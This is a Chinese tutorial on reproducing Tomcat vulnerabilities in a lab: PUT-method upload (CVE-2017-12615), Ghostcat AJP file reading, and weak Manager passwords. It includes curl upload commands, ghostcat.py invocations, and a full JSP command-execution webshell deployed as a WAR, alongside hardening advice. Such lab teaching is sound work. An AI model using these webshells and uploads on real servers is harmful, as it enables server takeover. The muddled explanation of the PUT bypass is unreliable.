1. 项目概述为什么我们要亲手复现Tomcat漏洞在安全圈里待久了你会发现一个有趣的现象很多刚入门的朋友谈起漏洞原理头头是道各种CVE编号、影响范围、修复建议张口就来但当你让他亲手在本地环境把一个漏洞从触发到利用完整地走一遍时他却可能连靶场都搭不起来。这中间隔着的就是“知道”和“做到”的巨大鸿沟。今天我们就来填平这道鸿沟聚焦于中间件Tomcat的漏洞复现。Tomcat作为Java Web应用最经典的“搬运工”其稳定性和普及度无需多言。但正是这种广泛部署使得它的每一个安全漏洞都可能牵一发而动全身。复现漏洞绝不是为了“炫技”或从事非法活动其核心价值在于深度理解攻击链。通过亲手搭建环境、触发漏洞、观察现象、分析流量你能最直观地感受到攻击者是如何利用一个微小的配置疏忽或代码缺陷一步步撬开系统大门的。这种理解远比阅读十篇漏洞分析报告来得深刻它是你构建主动防御思维、编写安全代码、设计安全架构的基石。本次复现我们将选取几个具有代表性的Tomcat历史漏洞它们涵盖了从配置错误到代码逻辑缺陷等多种类型。我们的目标不是追求最新的、最炫的漏洞而是通过这几个经典案例掌握一套通用的、可复用的漏洞复现方法论。无论你是安全工程师、开发人员还是运维人员这套方法都能帮助你更扎实地理解你所维护的系统。2. 环境准备与靶场搭建工欲善其事必先利其器漏洞复现的第一步永远是搭建一个安全、隔离的测试环境。我强烈建议使用虚拟机或Docker确保实验过程不会对你宿主机或其他网络环境造成任何影响。2.1 靶机环境选择与配置对于Tomcat漏洞复现靶机环境的选择至关重要。不同的漏洞对Tomcat版本、JDK版本甚至操作系统都有特定要求。方案一使用Vulhub推荐Vulhub是一个基于Docker的漏洞环境集合它为我们预置了各种漏洞的完整环境极大简化了搭建步骤。安装Docker与Docker Compose这是使用Vulhub的前提。以Ubuntu为例可以通过官方脚本快速安装Docker再使用pip安装docker-compose。拉取Vulhub项目git clone https://github.com/vulhub/vulhub.git进入目标漏洞目录例如要复现Tomcat AJP协议漏洞CVE-2020-1938则进入vulhub/tomcat/CVE-2020-1938。一键启动环境执行docker-compose up -d。Vulhub会自动拉取镜像、配置网络并启动容器。此时一个包含漏洞的Tomcat服务就已经在容器内运行起来了。注意使用Vulhub时务必仔细阅读每个漏洞目录下的README.md文件。里面会详细说明漏洞影响版本、复现步骤以及环境访问方式如Tomcat管理后台的默认密码。这是避免走弯路的关键。方案二手动部署特定版本Tomcat当Vulhub没有收录你想要复现的漏洞或者你需要更深入地定制环境时就需要手动部署。确定漏洞影响版本首先从漏洞公告如NVD、CNVD或分析文章中明确漏洞影响的Tomcat具体版本范围例如Apache Tomcat 7.x 7.0.100。下载对应版本前往Apache Tomcat官网的归档站点下载指定版本的二进制发行包如apache-tomcat-7.0.96.tar.gz。准备JDKTomcat版本与JDK版本存在兼容性矩阵。例如Tomcat 7一般对应JDK 6或7Tomcat 8/9对应JDK 7/8。务必安装匹配的JDK并配置好JAVA_HOME环境变量。解压与基础配置解压Tomcat包通常无需复杂配置即可启动。但有些漏洞复现需要开启特定功能比如为了复现后台部署war包漏洞你需要配置conf/tomcat-users.xml文件添加具有manager-gui和manager-script角色的用户。!-- conf/tomcat-users.xml 配置示例 -- role rolenamemanager-gui/ role rolenamemanager-script/ user usernameadmin passwordadmin123 rolesmanager-gui,manager-script/启动与验证运行bin/startup.shLinux或bin/startup.batWindows访问http://localhost:8080看到欢迎页即表示成功。2.2 攻击机工具集准备一个顺手的安全测试工具集能事半功倍。我们的攻击机可以是宿主机也可以是同一网络下的另一台虚拟机需要准备以下工具Burp Suite / OWASP ZAP必备的HTTP代理工具。用于拦截、查看、修改和重放HTTP/HTTPS请求。在复现Web漏洞时几乎所有流量操作都离不开它。社区版Burp Suite功能已足够强大。Nmap端口扫描和服务探测神器。用于快速发现目标Tomcat服务的开放端口默认8080、运行版本等信息。命令如nmap -sV -p 8080 靶机IP。Curl / Postman用于快速发送定制化的HTTP请求测试漏洞点或在脚本中自动化利用过程。JD-GUI 或 FernFlowerJava反编译工具。当漏洞涉及分析Tomcat或Web应用的Jar包、Class文件时需要用它们查看源码逻辑。文本编辑器/IDE如VS Code、Sublime Text用于编写和修改利用脚本、配置文件。浏览器准备Chrome或Firefox并安装如Hack-Tools、FoxyProxy等安全测试相关插件方便切换代理和快速生成Payload。实操心得我习惯将攻击机环境也容器化创建一个包含所有常用工具的Docker镜像。这样无论在哪台电脑上都能快速获得一个统一、干净的攻击环境。例如可以基于kalilinux/kali-rolling镜像安装好上述工具后提交为新镜像。3. 核心漏洞复现案例深度解析理论说再多不如亲手做一遍。下面我们选取三个不同类型的Tomcat经典漏洞从环境搭建到漏洞利用进行全程实录。请跟随步骤在你自己搭建的环境中操作。3.1 案例一CVE-2017-12615 - Tomcat PUT方法任意文件上传漏洞这是一个因配置不当引发的经典漏洞。在Tomcat 7.x系列 7.0.81中如果启用了HTTP的PUT方法默认情况下通过conf/web.xml配置的Default Servlet是允许PUT的攻击者可以利用它上传任意文件包括JSP Webshell从而直接获取服务器控制权。复现环境Apache Tomcat 7.0.79Vulhub中有现成环境。漏洞原理Tomcat的Default Servlet在处理PUT请求时未能对请求路径进行严格过滤。当请求路径以/结尾时Tomcat会将其当作目录创建请求处理而当路径中包含如..;/这样的序列时在某些情况下取决于URL解析逻辑攻击者可以绕过路径限制将文件上传到Web应用根目录以外的任意位置尤其是可以上传到Web根目录下从而被当作JSP文件执行。复现步骤实录启动环境使用Vulhub进入vulhub/tomcat/CVE-2017-12615目录执行docker-compose up -d。环境启动后Tomcat运行在8080端口。探测漏洞首先用浏览器或curl访问http://靶机IP:8080确认Tomcat服务正常。利用PUT方法上传文件我们尝试上传一个最简单的JSP Webshell。使用curl命令发送PUT请求。curl -X PUT http://靶机IP:8080/shell.jsp/ -d Hello, Vulnerability!注意这里的路径是shell.jsp/以斜杠结尾。如果直接这样上传Tomcat会将其创建为一个名为shell.jsp的目录而不是文件我们的Webshell无法执行。绕过限制利用Windows环境下文件名解析的特性漏洞在Linux下也可利用但绕过方式不同我们使用shell.jsp::$DATA、shell.jsp%20空格或shell.jsp/./等方式进行绕过。在Linux的Vulhub环境中最有效的方式是利用..;/进行路径穿越。# 方法1使用 ..;/ curl -X PUT http://靶机IP:8080/shell.jsp/ -d ‘% out.println(“Hello from JSP Shell”); %’ -H “Content-Type: text/plain” # 这个方法可能失败因为新版容器环境已修复此解析问题。我们采用更通用的二次请求绕过。 # 方法2先PUT创建一个目录再PUT到目录下的jsp文件 curl -X PUT http://靶机IP:8080/test/ -d ‘’ # 创建test目录 curl -X PUT http://靶机IP:8080/test/shell.jsp -d ‘% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %’实际上在原始的漏洞环境中最经典的Payload是curl -X PUT http://target:8080/shell.jsp::$DATA -d ‘webshell content’。但在Linux下需要尝试shell.jsp%20空格或shell.jsp/斜杠结合后续的MOVE请求。验证利用上传成功后访问http://靶机IP:8080/test/shell.jsp?cmdid。如果页面上显示了当前用户的id信息或者没有报404错误则证明漏洞复现成功我们成功上传并执行了JSP代码。注意事项与排查防火墙与权限确保攻击机能访问到靶机的8080端口。如果使用云服务器需检查安全组规则。返回状态码PUT请求后如果返回201 Created或204 No Content通常表示上传成功。返回403 Forbidden或405 Method Not Allowed则可能目标Tomcat版本已修复或Default Servlet的PUT方法被显式禁用。文件是否可执行即使上传成功访问时返回404可能是因为文件没有被当作JSP解析。检查文件是否真的上传到了Web应用的根目录如webapps/ROOT/下并且后缀名是.jsp。Vulhub环境特异性有些Vulhub环境为了演示可能预置了更简单的利用方式。务必以该环境目录下的README为准。3.2 案例二CVE-2020-1938 - Tomcat AJP协议文件包含/读取漏洞Ghostcat这个漏洞影响深远因为它利用了TomcatAJP协议Apache JServ Protocol设计上的缺陷。AJP是Tomcat与前端HTTP服务器如Apache HTTPD通信的二进制协议默认监听8009端口。攻击者能够通过构造恶意的AJP请求读取Web应用目录下的任意文件例如WEB-INF/web.xml其中可能包含数据库密码等敏感信息在特定条件下甚至能实现远程代码执行。复现环境Apache Tomcat 9.0.30 之前版本且启用了AJP Connector默认开启。我们使用Vulhub的tomcat/CVE-2020-1938环境。漏洞原理Tomcat的AJP协议处理代码org.apache.coyote.ajp.AjpProcessor在处理SC_REQ_ATTRIBUTE属性时未能对属性值如javax.servlet.include.request_uri进行有效验证。攻击者可以借此操控Tomcat将Web应用根目录外的文件如WEB-INF/web.xml包含到响应中或者通过上传特定JSP文件再包含执行实现RCE。复现步骤实录启动环境进入Vulhub对应目录docker-compose up -d。这个环境会启动一个存在漏洞的Tomcat并开放8080HTTP和8009AJP端口。理解利用工具由于AJP是二进制协议手动构造数据包非常复杂。我们通常使用公开的利用脚本如Python编写的ghostcat.py。文件读取利用使用脚本读取WEB-INF/web.xml文件这是Web应用的核心配置文件。python3 ghostcat.py 靶机IP -p 8009 -f WEB-INF/web.xml执行后如果漏洞存在脚本会通过AJP协议向靶机发送特制请求并将读取到的web.xml文件内容输出在终端。你可能会看到数据库连接池的配置信息如用户名、密码明文。尝试远程代码执行RCERCE的条件更为苛刻需要攻击者能先通过其他方式比如上一个CVE-2017-12615上传一个JSP文件到服务器。假设我们已经上传了shell.jsp那么可以通过AJP包含并执行它。# 前提shell.jsp 已存在于 webapps/ROOT/ 目录下 python3 ghostcat.py 靶机IP -p 8009 -f shell.jsp脚本会发送包含此JSP文件的AJP请求如果Tomcat处理了该请求就会执行JSP中的代码。但请注意直接RCE利用成功率受多种因素影响在实际漏洞公告中此漏洞主要被定义为文件读取/包含。实操心得与深度分析端口与协议这个漏洞的核心在于AJP协议默认监听在内网地址127.0.0.1:8009。这意味着通常只有与Tomcat在同一台机器或内网的前端代理如Apache才能访问它。因此漏洞的实际风险场景是1Tomcat的AJP Connector错误地绑定到了0.0.0.02攻击者已经通过其他漏洞进入了内网。在复现时Vulhub环境通常会将8009端口映射出来以方便测试但真实环境中这个端口很可能对外不可见。漏洞修复的本质官方修复不仅增加了属性值的校验更重要的是默认将AJP Connector的监听地址改回了127.0.0.1在之前某些版本中曾默认为0.0.0.0并强烈建议不在互联网上暴露AJP端口。这给我们运维的启示是最小化暴露面非必需的服务绝不对外开放。工具依赖复现此类二进制协议漏洞强烈依赖于稳定可靠的利用脚本。务必从可信源如 exploit-db, github security projects获取并在隔离环境中先审阅代码再运行。3.3 案例三弱口令与后台部署漏洞非特定CVE这是一个安全管理问题而非代码漏洞但其危害性极高且极其常见。许多开发、测试甚至生产环境的Tomcat管理后台/manager/html使用弱口令或默认口令如tomcat:tomcat,admin:admin攻击者一旦进入就可以直接上传WAR包部署恶意应用瞬间获得服务器控制权。复现环境任何开启了Manager App的Tomcat。我们手动配置一个Tomcat 8.5作为示例。漏洞原理Tomcat Manager是Tomcat提供的官方管理应用功能强大包括部署、卸载、启动、停止Web应用。如果认证被绕过或口令被猜解攻击者就拥有了等同于管理员的权限。复现步骤实录配置有弱口令的Manager应用解压Tomcat 8.5。编辑conf/tomcat-users.xml添加一个具有manager-gui和manager-script角色的用户并设置弱密码。user usernameadmin passwordadmin123 rolesmanager-gui, manager-script/编辑webapps/manager/META-INF/context.xml注释掉或放宽IP限制仅用于测试生产环境必须严格限制。!-- 将 Valve 部分注释掉 -- !-- Valve classNameorg.apache.catalina.valves.RemoteAddrValve allow127\.\d\.\d\.\d|::1|0:0:0:0:0:0:0:1 / --启动Tomcat。爆破或直接登录后台使用浏览器访问http://靶机IP:8080/manager/html弹出认证框输入admin/admin123即可登录。制作恶意WAR包这是关键一步。我们需要一个包含JSP Webshell的WAR文件。创建一个简单的Java Web项目结构malicious.war └── WEB-INF └── web.xml └── shell.jspshell.jsp内容可以是冰蝎、哥斯拉的JSP马或者一个简单的命令执行% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %将整个目录打包成ZIP文件然后重命名为malicious.war。可以使用命令jar -cvf malicious.war .在项目根目录执行。通过后台部署登录Manager后台后找到“WAR file to deploy”区域选择制作好的malicious.war文件点击“Deploy”。稍等片刻应用列表里就会出现malicious。访问Webshell直接访问http://靶机IP:8080/malicious/shell.jsp?cmdwhoami即可执行系统命令。避坑技巧与加固建议弱口令是根源永远不要使用默认或弱口令。口令应复杂并定期更换。禁用或限制Manager应用生产环境中如非必要应直接删除webapps/manager目录。如果必须使用务必在context.xml中通过RemoteAddrValve严格限制可访问的IP地址段。使用自定义路径和强认证可以修改Manager应用的访问路径通过重命名目录并考虑集成更强大的统一认证授权系统。网络层面隔离将Tomcat管理后台部署在内网通过跳板机访问绝不直接暴露在公网。4. 漏洞复现中的通用技巧与深度问题排查完成了具体案例的复现我们再来梳理和升华一下分享一些贯穿整个复现过程的通用技巧和遇到问题时的排查思路。这些经验往往在官方文档里找不到却能帮你节省大量时间。4.1 流量分析与调试技巧漏洞复现的本质是“对话”是你攻击机与目标服务靶机之间的一次或多次特定交互。深刻理解这次“对话”的内容是复现成功和深度分析的关键。必用Burp Suite将浏览器或攻击脚本的代理设置为Burp拦截所有HTTP/HTTPS请求。对于PUT上传、AJP漏洞你可以清晰地看到原始的请求头和正文。对于后台登录爆破你可以将请求发送到Intruder模块进行自动化测试。对比正常与异常流量在复现漏洞时先捕获一次正常的请求如正常的GET首页请求再捕获一次攻击请求。对比两者在请求方法、路径、头部字段、参数格式、正文内容上的差异。差异点往往就是漏洞的触发点。例如在CVE-2017-12615中差异就在于PUT /shell.jsp%20这个路径和请求方法。查看Tomcat本地日志日志是理解服务端行为的窗口。重点查看logs/catalina.out标准输出和logs/localhost.yyyy-MM-dd.log访问日志。当你的攻击请求发送后在日志中搜索相关的URL或错误信息能帮你判断请求是否被正确处理、是否触发了异常。例如你可能会看到FileNotFoundException或者关于请求路径的警告信息。开启Tomcat调试日志如果标准日志信息不足可以调整Tomcat的日志级别。编辑conf/logging.properties将org.apache.catalina.core.ContainerBase.[Catalina].[localhost].level设置为FINE或ALL可以输出更详细的请求处理过程。但要注意这会产生大量日志仅用于调试。4.2 常见失败原因与排查清单复现失败是常态尤其是面对老旧漏洞时。下面是一个快速排查清单问题现象可能原因排查步骤服务无法访问(Connection refused/timeout)1. Tomcat未启动。2. 防火墙/安全组阻止。3. 端口被占用或配置错误。1. 检查catalina.out日志是否有启动错误。2. 在靶机上执行netstat -tlnp | grep :8080查看端口监听状态。3. 检查server.xml中Connector的port配置。PUT请求返回403/4051. 目标Tomcat版本已修复漏洞。2. Default Servlet的PUT方法被显式禁用。3. 应用自身的安全约束。1. 确认Tomcat版本在受影响范围内。2. 检查conf/web.xml中DefaultServlet的readonly初始化参数是否为falsetrue会禁用PUT。3. 检查是否有全局的SecurityConstraint限制了HTTP方法。上传文件成功但无法访问(404)1. 文件未上传到Web根目录。2. 文件后缀未被识别为JSP。3. 上传的文件是目录而非文件。1. 进入Tomcat的webapps/ROOT/目录查看文件是否存在。2. 检查文件名是否正确尝试访问时URL路径是否正确。3. 对于PUT漏洞尝试不同的路径绕过技巧如%20,::$DATA,..;/。AJP漏洞利用脚本无回显1. 目标AJP端口未开放或不可达。2. 目标版本不受影响或已修复。3. 脚本Payload构造问题或路径错误。1. 用nmap扫描靶机8009端口是否开放 (-p 8009)。2. 确认Tomcat版本。检查server.xml中AJP Connector是否启用且未绑定到127.0.0.1。3. 尝试读取一个确定存在的文件如WEB-INF/web.xml检查脚本输出和网络连通性。Manager后台登录失败1. 用户名密码错误。2.tomcat-users.xml配置错误或未重启。3. IP地址被RemoteAddrValve拒绝。1. 仔细核对tomcat-users.xml中的用户名、密码、角色拼写。2. 每次修改tomcat-users.xml后必须重启Tomcat。3. 检查manager/META-INF/context.xml中的IP限制规则。4.3 从复现到理解构建你的知识体系复现成功不是终点而是深度学习的起点。每次复现后建议你完成以下“课后作业”追溯漏洞根源尝试找到该漏洞的官方补丁Patch。在Apache Tomcat的SVN或Git仓库中搜索相关的CVE编号查看代码的diff。看看开发者到底修改了哪几行代码这能让你对漏洞的根因有原子级的理解。分析利用链将漏洞利用过程画成一个简单的流程图。从攻击者发起请求开始到最终达成目标文件读取、命令执行中间经过了Tomcat的哪些组件Connector, Processor, Servlet, Valve等这能帮你理解Tomcat的请求处理架构。思考修复方案如果你是运维人员面对这个漏洞除了升级版本还有哪些临时的缓解措施例如对于PUT漏洞可以在前端WAF如Nginx中过滤PUT方法对于AJP漏洞可以立即在防火墙规则中封禁8009端口的对外访问。这种思考能极大提升你的应急响应能力。关联拓展这个漏洞的原理是否在其他中间件或框架中也存在类似问题例如不安全的HTTP方法PUT/DELETE配置问题是许多Web服务器的通病。通过一个点带出一个面。漏洞复现就像外科医生做解剖目的是了解人体的构造和疾病的机理从而更好地进行预防和治疗。通过亲手操作这几个Tomcat经典漏洞我希望你收获的不仅仅是几个攻击命令更是一套分析问题、解决问题的安全研究方法论。这套方法在你未来面对更复杂的漏洞和系统时将会成为你最有力的工具。记住保持好奇心在安全的实验环境中大胆尝试谨慎验证你的实战能力就会在这个过程中稳步成长。